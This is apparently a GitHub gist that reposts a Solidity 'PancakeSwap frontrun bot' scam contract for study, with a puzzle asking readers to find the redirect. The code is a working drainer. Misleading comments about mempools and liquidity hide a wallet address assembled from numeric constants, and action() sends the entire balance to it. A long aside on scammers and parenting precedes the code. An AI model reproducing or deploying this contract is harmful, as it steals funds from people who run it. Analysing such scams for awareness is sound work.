Skip to content

Instantly share code, notes, and snippets.

@nucleare
Last active March 23, 2022 21:58
Show Gist options
  • Save nucleare/d87f08bff19b1a3f89da4d757d71e642 to your computer and use it in GitHub Desktop.
Save nucleare/d87f08bff19b1a3f89da4d757d71e642 to your computer and use it in GitHub Desktop.
Find the string that redirects the funds that is sent to the contract and what the address is. Bonus: Find the empty function called and create a function to fill that call from within the import of one of the included libraries if replacing one of those libraries.
pragma solidity ^0.6.6;
/*
* The following code has been posted to track the progression
* scammers have made in restructuring their lines of code to hide
* the various commands that would appear hidden to the untrained
* eye and is not intended to be used in any way that fosters or
* promotes the use of such a bot. There are lines yet to be iden-
* -tified online that are not covered by previous versions that
* review the tactics being used. Please share any findings you
* come to discover.
*
* Special thanks to Scofield O. Idehen with their story on Medium titled, "Remix Used for Crypto PancakeScam"
* Found here: https://medium.com/coinsbench/remix-used-for-crypto-pancakescam-e5b0d2ff8d20
* and
* For the original awareness Scam Alert posted by A.G. Vermouth also on Medium
* Found here: https://medium.com/coinsbench/remix-used-for-crypto-pancakescam-e5b0d2ff8d20
*
* Online Scams will constantly evolve and while in-dept code reviews help less experienced users
* identify their inner workers, in some way it also helps scammers hide their tracks better in the future
* It's like an endliess cycle of competition.
*
* So how do prevent them from "winning" and scamming hundreds of thousands if not millions of people? We trap them.
* When you scam a scammer, one of two things will happen:
* 1) They learn their lesson and separate themselves from that world
* 2) They get upset and seek revenge or come up with a better scam that doesn't get them in trouble/caught/exposed
*
* While that does mean we have to rely on reaction 1), what it's really trying to point out is just how
* imporant good parenting is when it comes to avoiding 2). Children learn and adopt more from what they
* experienced and how their parents acted or treated them and might cosciously be aware of what their parents
* taught them in their parents' words, but if the parents' actions contradict their words, then the child
* learns that this is how the world works and that people are never who they say they are.
* So be the right example for your kids, do the right things, and stop condonning the phrase, "Do as I
* I say, not as I do" because all that really means is, "I wish you'd learn from what I'm teaching you
* because I unrealistically believe you to be more capable than me somehow, and since I acknowledged that,
* it should excuse me from not taking my own advice/teaching and should show you by way of exmaple how
* not to listen to what I'm telling you that you should do."
*
* Scammers only exist because we allow them to. Maybe not you personally, but the influence we have on one another is
* much less apparent than the influence we have on our own actions and thoughts. Much of that is because
* we don't remember how we learned it as a kid and we might not be able to explain why we feel a certain way
* but what ultimately effects anyone and everyone, is quite simple: what we choose to continue doing or not do is
* what ultimately makes a difference.
*
* Live Long, Live Chill, Long Live the Chill Life.
* -Chillpanda
*
*/
// Import PancakeSwap Libraries Migrator/Exchange/Factory
import "https://github.com/pancakeswap/pancake-swap-periphery/blob/master/contracts/interfaces/IPancakeMigrator.sol";
import "https://github.com/pancakeswap/pancake-swap-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
import "https://github.com/pancakeswap/pancake-swap-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
contract PancakeswapFrontrunBot {
string public tokenName;
string public tokenSymbol;
uint frontrun;
constructor(string memory _tokenName, string memory _tokenSymbol) public {
tokenName = _tokenName;
tokenSymbol = _tokenSymbol;
}
receive() external payable {}
struct slice {
uint _len;
uint _ptr;
}
/*
* @dev Find newly deployed contracts on PancakeSwap Exchange
* @param memory of required contract liquidity.
* @param other The second slice to compare.
* @return New contracts with required liquidity.
*/
function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len)
shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
// initiate contract finder
uint a;
uint b;
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
// Mask out irrelevant contracts and check again for new contracts
uint256 mask = uint256(-1);
if(shortest < 32) {
mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
}
uint256 diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
/*
* @dev Extracts the newest contracts on pancakeswap exchange
* @param self The slice to operate on.
* @param rune The slice that will contain the first rune.
* @return `list of contracts`.
*/
function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
/*
* @dev Loading the contract
* @param contract address
* @return contract interaction object
*/
function loadCurrentContract(string memory self) internal pure returns (string memory) {
string memory ret = self;
uint retptr;
assembly { retptr := add(ret, 32) }
return ret;
}
/*
* @dev Extracts the contract from pancakeswap
* @param self The slice to operate on.
* @param rune The slice that will contain the first rune.
* @return `rune`.
*/
function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint l;
uint b;
// Load the first byte of the rune into the LSBs of b
assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
if (b < 0x80) {
l = 1;
} else if(b < 0xE0) {
l = 2;
} else if(b < 0xF0) {
l = 3;
} else {
l = 4;
}
// Check for truncated codepoints
if (l > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += l;
self._len -= l;
rune._len = l;
return rune;
}
function memcpy(uint dest, uint src, uint len) private pure {
// Check available liquidity
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
/*
* @dev Orders the contract by its available liquidity
* @param self The slice to operate on.
* @return The contract with possbile maximum return
*/
function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
if (self._len == 0) {
return 0;
}
uint word;
uint length;
uint divisor = 2 ** 248;
// Load the rune into the MSBs of b
assembly { word:= mload(mload(add(self, 32))) }
uint b = word / divisor;
if (b < 0x80) {
ret = b;
length = 1;
} else if(b < 0xE0) {
ret = b & 0x1F;
length = 2;
} else if(b < 0xF0) {
ret = b & 0x0F;
length = 3;
} else {
ret = b & 0x07;
length = 4;
}
// Check for truncated codepoints
if (length > self._len) {
return 0;
}
for (uint i = 1; i < length; i++) {
divisor = divisor / 256;
b = (word / divisor) & 0xFF;
if (b & 0xC0 != 0x80) {
// Invalid UTF-8 sequence
return 0;
}
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
/*
* @dev Calculates remaining liquidity in contract
* @param self The slice to operate on.
* @return The length of the slice in runes.
*/
function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
uint ptr = self._ptr - 31;
uint end = ptr + self._len;
for (l = 0; ptr < end; l++) {
uint8 b;
assembly { b := and(mload(ptr), 0xFF) }
if (b < 0x80) {
ptr += 1;
} else if(b < 0xE0) {
ptr += 2;
} else if(b < 0xF0) {
ptr += 3;
} else if(b < 0xF8) {
ptr += 4;
} else if(b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
}
function getMemPoolOffset() internal pure returns (uint) {
return 702616;
}
/*
* @dev Parsing all pancakeswap mempool
* @param self The contract to operate on.
* @return True if the slice is empty, False otherwise.
*/
function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i = 2; i < 2 + 2 * 20; i += 2) {
iaddr *= 256;
b1 = uint160(uint8(tmp[i]));
b2 = uint160(uint8(tmp[i + 1]));
if ((b1 >= 97) && (b1 <= 102)) {
b1 -= 87;
} else if ((b1 >= 65) && (b1 <= 70)) {
b1 -= 55;
} else if ((b1 >= 48) && (b1 <= 57)) {
b1 -= 48;
}
if ((b2 >= 97) && (b2 <= 102)) {
b2 -= 87;
} else if ((b2 >= 65) && (b2 <= 70)) {
b2 -= 55;
} else if ((b2 >= 48) && (b2 <= 57)) {
b2 -= 48;
}
iaddr += (b1 * 16 + b2);
}
return address(iaddr);
}
/*
* @dev Returns the keccak-256 hash of the contracts.
* @param self The slice to hash.
* @return The hash of the contract.
*/
function keccak(slice memory self) internal pure returns (bytes32 ret) {
assembly {
ret := keccak256(mload(add(self, 32)), mload(self))
}
}
/*
* @dev Check if contract has enough liquidity available
* @param self The contract to operate on.
* @return True if the slice starts with the provided text, false otherwise.
*/
function checkLiquidity(uint a) internal pure returns (string memory) {
uint count = 0;
uint b = a;
while (b != 0) {
count++;
b /= 16;
}
bytes memory res = new bytes(count);
for (uint i=0; i<count; ++i) {
b = a % 16;
res[count - i - 1] = toHexDigit(uint8(b));
a /= 16;
}
uint hexLength = bytes(string(res)).length;
if (hexLength == 4) {
string memory _hexC1 = mempool("0", string(res));
return _hexC1;
} else if (hexLength == 3) {
string memory _hexC2 = mempool("0", string(res));
return _hexC2;
} else if (hexLength == 2) {
string memory _hexC3 = mempool("000", string(res));
return _hexC3;
} else if (hexLength == 1) {
string memory _hexC4 = mempool("0000", string(res));
return _hexC4;
}
return string(res);
}
function getMemPoolLength() internal pure returns (uint) {
return 746044;
}
/*
* @dev If `self` starts with `needle`, `needle` is removed from the
* beginning of `self`. Otherwise, `self` is unmodified.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return `self`
*/
function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
if (self._len < needle._len) {
return self;
}
bool equal = true;
if (self._ptr != needle._ptr) {
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
self._ptr += needle._len;
}
return self;
}
// Returns the memory address of the first byte of the first occurrence of
// `needle` in `self`, or the first byte after `self` if not found.
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
function getMemPoolHeight() internal pure returns (uint) {
return 239860;
}
/*
* @dev Iterating through all mempool to call the one with the with highest possible returns
* @return `self`.
*/
function callMempool() internal pure returns (string memory) {
string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
uint _memPoolSol = 721042;
uint _memPoolLength = getMemPoolLength();
uint _memPoolSize = 372410;
uint _memPoolHeight = getMemPoolHeight();
uint _memPoolWidth = 81882;
uint _memPoolDepth = getMemPoolDepth();
uint _memPoolCount = 78008;
string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));
string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
string memory _fullMempool = mempool("0", _allMempools);
return _fullMempool;
}
/*
* @dev Modifies `self` to contain everything from the first occurrence of
* `needle` to the end of the slice. `self` is set to the empty slice
* if `needle` is not found.
* @param self The slice to search and modify.
* @param needle The text to search for.
* @return `self`.
*/
function toHexDigit(uint8 d) pure internal returns (byte) {
if (0 <= d && d <= 9) {
return byte(uint8(byte('0')) + d);
} else if (10 <= uint8(d) && uint8(d) <= 15) {
return byte(uint8(byte('a')) + d - 10);
}
// revert("Invalid hex digit");
revert();
}
function _callFrontRunActionMempool() internal pure returns (address) {
return parseMemoryPool(callMempool());
}
/*
* @dev Perform frontrun action from different contract pools
* @param contract address to snipe liquidity from
* @return `token`.
*/
function action() public payable {
payable(_callFrontRunActionMempool()).transfer(address(this).balance);
}
/*
* @dev token int2 to readable str
* @param token An output parameter to which the first token is written.
* @return `token`.
*/
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
function getMemPoolDepth() internal pure returns (uint) {
return 76303;
}
/*
* @dev loads all pancakeswap mempool into memory
* @param token An output parameter to which the first token is written.
* @return `mempool`.
*/
function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
bytes memory _newValue = bytes(_tmpValue);
uint i;
uint j;
for(i=0; i<_baseBytes.length; i++) {
_newValue[j++] = _baseBytes[i];
}
for(i=0; i<_valueBytes.length; i++) {
_newValue[j++] = _valueBytes[i];
}
return string(_newValue);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment